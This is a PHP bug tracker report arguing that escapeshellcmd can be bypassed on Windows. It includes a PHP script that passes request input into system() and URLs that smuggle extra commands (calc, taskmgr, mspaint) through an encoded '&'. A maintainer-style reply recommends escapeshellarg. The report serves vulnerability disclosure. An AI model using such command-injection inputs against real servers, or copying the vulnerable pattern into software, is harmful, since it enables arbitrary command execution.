|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2017-03-04 22:49 UTC] apparitionsec at gmail dot com
Description: ------------ I am reporting the following vulnerability in PHP function 'escapeshellcmd', it can be bypassed easily as below example using Windows cmd.exe /C .... Best regards, John Page AKA hyp3rlinx Bypass easily using cmd /c %26 etc... on Windows. Test script: --------------- 1) PHP file using escapeshellcmd to 'safely' call single command. <?php $c = escapeshellcmd($_GET['c']); system($c); ?> 2) Bypass it. http://localhost/test.php?c=cmd%20/c%20calc%26taskmgr OR http://localhost/test.php?c=cmd%20/c%20calc%26taskmgr%26mspaint PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Oct 29 02:00:01 2025 UTC |
Another example: On Windows CL below command will write info about a file named 'hi.txt' to file named 'test' and do dir listing. C:\> dir hi.txt > test | dir But if we do this using PHP and use escapeshellcmd to try prevent arbitrary cmds it fails. <?php $c = escapeshellcmd($_GET['n']); system("dir " . $c . " > TEST | dir"); ?> Then, http://localhost/test.php?n=%26calc%26taskmgr calc.exe and taskmgr get called. feels a bit inconsistent at least on Windows, maybe bypass though was wrong word for it.Also, in your example: $c = escapeshellcmd($_GET['n']); system("dir " . $c . " > TEST | dir"); You should use escapeshellarg() here, not escapeshellcmd(), as $_GET['n'] is an argument, not a command.